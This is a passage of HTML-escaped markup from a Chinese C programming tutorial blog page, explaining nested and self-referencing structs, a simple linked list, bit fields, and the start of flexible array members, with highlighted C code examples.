class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法一\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003efish\u003c/span\u003e \u003cspan class=\"title\"\u003eshark\u003c/span\u003e =\u003c/span\u003e {\u003cspan class=\"string\"\u003e\u0026#34;shark\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e9\u003c/span\u003e, {\u003cspan class=\"string\"\u003e\u0026#34;Selachimorpha\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e500\u003c/span\u003e}};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法二\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003especies\u003c/span\u003e \u003cspan class=\"title\"\u003emyBreed\u003c/span\u003e =\u003c/span\u003e {\u003cspan class=\"string\"\u003e\u0026#34;Selachimorpha\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e500\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003efish\u003c/span\u003e \u003cspan class=\"title\"\u003eshark\u003c/span\u003e =\u003c/span\u003e {\u003cspan class=\"string\"\u003e\u0026#34;shark\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e9\u003c/span\u003e, myBreed};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法三\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003efish\u003c/span\u003e \u003cspan class=\"title\"\u003eshark\u003c/span\u003e =\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .name=\u003cspan class=\"string\"\u003e\u0026#34;shark\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .age=\u003cspan class=\"number\"\u003e9\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .breed={\u003cspan class=\"string\"\u003e\u0026#34;Selachimorpha\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e500\u003c/span\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法四\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003efish\u003c/span\u003e \u003cspan class=\"title\"\u003eshark\u003c/span\u003e =\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .name=\u003cspan class=\"string\"\u003e\u0026#34;shark\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .age=\u003cspan class=\"number\"\u003e9\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .breed.name=\u003cspan class=\"string\"\u003e\u0026#34;Selachimorpha\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .breed.kinds=\u003cspan class=\"number\"\u003e500\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Shark\u0026#39;s species is %s\u0026#34;\u003c/span\u003e, shark.breed.name);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例展示了嵌套 Struct 结构的四种赋值写法。另外,引用\u003ccode\u003ebreed\u003c/code\u003e属性的内部属性,要使用两次点运算符(\u003ccode\u003eshark.breed.name\u003c/code\u003e)。\u003c/p\u003e\u003cp\u003e下面是另一个嵌套 struct 的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ename\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e first[\u003cspan class=\"number\"\u003e50\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e last[\u003cspan class=\"number\"\u003e50\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003estudent\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ename\u003c/span\u003e \u003cspan class=\"title\"\u003ename\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eshort\u003c/span\u003e age;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e sex;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} student1;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(student1.name.first, \u003cspan class=\"string\"\u003e\u0026#34;Harry\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(student1.name.last, \u003cspan class=\"string\"\u003e\u0026#34;Potter\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// or\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ename\u003c/span\u003e \u003cspan class=\"title\"\u003emyname\u003c/span\u003e =\u003c/span\u003e {\u003cspan class=\"string\"\u003e\u0026#34;Harry\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Potter\u0026#34;\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estudent1.name = myname;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,自定义类型\u003ccode\u003estudent\u003c/code\u003e的\u003ccode\u003ename\u003c/code\u003e属性是另一个自定义类型,如果要引用后者的属性,就必须使用两个\u003ccode\u003e.\u003c/code\u003e运算符,比如\u003ccode\u003estudent1.name.first\u003c/code\u003e。另外,对字符数组属性赋值,要使用\u003ccode\u003estrcpy()\u003c/code\u003e函数,不能直接赋值,因为直接改掉字符数组名的地址会报错。\u003c/p\u003e\u003cp\u003estruct 结构内部不仅可以引用其他结构,还可以自我引用,即结构内部引用当前结构。比如,链表结构的节点就可以写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003enode\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e data;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003enode\u003c/span\u003e* \u003cspan class=\"title\"\u003enext\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003enode\u003c/code\u003e结构的\u003ccode\u003enext\u003c/code\u003e属性,就是指向另一个\u003ccode\u003enode\u003c/code\u003e实例的指针。下面,使用这个结构自定义一个数据链表。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003enode\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e data;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003enode\u003c/span\u003e* \u003cspan class=\"title\"\u003enext\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003enode\u003c/span\u003e* \u003cspan class=\"title\"\u003ehead\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 生成一个三个节点的列表 (11)-\u0026gt;(22)-\u0026gt;(33)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehead = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e node));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehead-\u0026gt;data = \u003cspan class=\"number\"\u003e11\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehead-\u0026gt;next = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e node));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehead-\u0026gt;next-\u0026gt;data = \u003cspan class=\"number\"\u003e22\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehead-\u0026gt;next-\u0026gt;next = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e node));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehead-\u0026gt;next-\u0026gt;next-\u0026gt;data = \u003cspan class=\"number\"\u003e33\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehead-\u0026gt;next-\u0026gt;next-\u0026gt;next = \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 遍历这个列表\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e node *cur = head; cur != \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e; cur = cur-\u0026gt;next) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, cur-\u0026gt;data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例是链表结构的最简单实现,通过\u003ccode\u003efor\u003c/code\u003e循环可以对其进行遍历。\u003c/p\u003e\u003ch3 id=\"位字段\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E4%BD%8D%E5%AD%97%E6%AE%B5\" class=\"headerlink\" title=\"位字段\"\u003e\u003c/a\u003e位字段\u003c/h3\u003e\u003cp\u003estruct 还可以用来定义二进制位组成的数据结构,称为“位字段”(bit field),这对于操作底层的二进制数据非常有用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e ab:\u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e cd:\u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e ef:\u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e gh:\u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} synth;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esynth.ab = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esynth.cd = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,每个属性后面的\u003ccode\u003e:1\u003c/code\u003e,表示指定这些属性只占用一个二进制位,所以这个数据结构一共是4个二进制位。\u003c/p\u003e\u003cp\u003e注意,定义二进制位时,结构内部的各个属性只能是整数类型。\u003c/p\u003e\u003cp\u003e实际存储的时候,C 语言会按照\u003ccode\u003eint\u003c/code\u003e类型占用的字节数,存储一个位字段结构。如果有剩余的二进制位,可以使用未命名属性,填满那些位。也可以使用宽度为0的属性,表示占满当前字节剩余的二进制位,迫使下一个属性存储在下一个字节。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e field1 : \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e : \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e field2 : \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e : \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e field3 : \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} stuff;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003estuff.field1\u003c/code\u003e与\u003ccode\u003estuff.field2\u003c/code\u003e之间,有一个宽度为两个二进制位的未命名属性。\u003ccode\u003estuff.field3\u003c/code\u003e将存储在下一个字节。\u003c/p\u003e\u003ch3 id=\"弹性数组成员\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%BC%B9%E6%80%A7%E6%95%B0%E7%BB%84%E6%88%90%E5%91%98\" class=\"headerlink\" title=\"弹性数组成员\"\u003e\u003c/a\u003e弹性数组成员\u003c/h3\u003e\u003cp\u003e很多时候,不能事先确定数组到底有多少个成员。如果声明数组的时候,事先给出一个很大的成员数,就会很浪费空间。C 语言提供了一个解决方法,叫做弹性数组成员(flexible array member)。\u003c/p\u003e\u003cp\u003e如果不能事先确定数组成员的数量时,可以定义一个 struct 结构。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003evstring\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e len;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e chars[];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003estruct vstring\u003c/code\u003e结构有两个属性。\u003ccode\u003elen\u003c/code\u003e属性用来记录数组\u003ccode\u003echars\u003c/code\u003e的长度,\u003ccode\u003echars\u003c/code\u003e属性是一个数组,但是没有给出成员数量。\u003c/p\u003e\u003cp\u003e\u003ccode\u003echars\u003c/code\u003e数组到底有多少个成员,可以在为\u003ccode\u003evstring\u003c/code\u003e分配内存时确定。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003evstring\u003c/span\u003e* \u003cspan class=\"title\"\u003estr\u003c/span\u003e =\u003c/span\u003e \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e vstring) + n * \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan 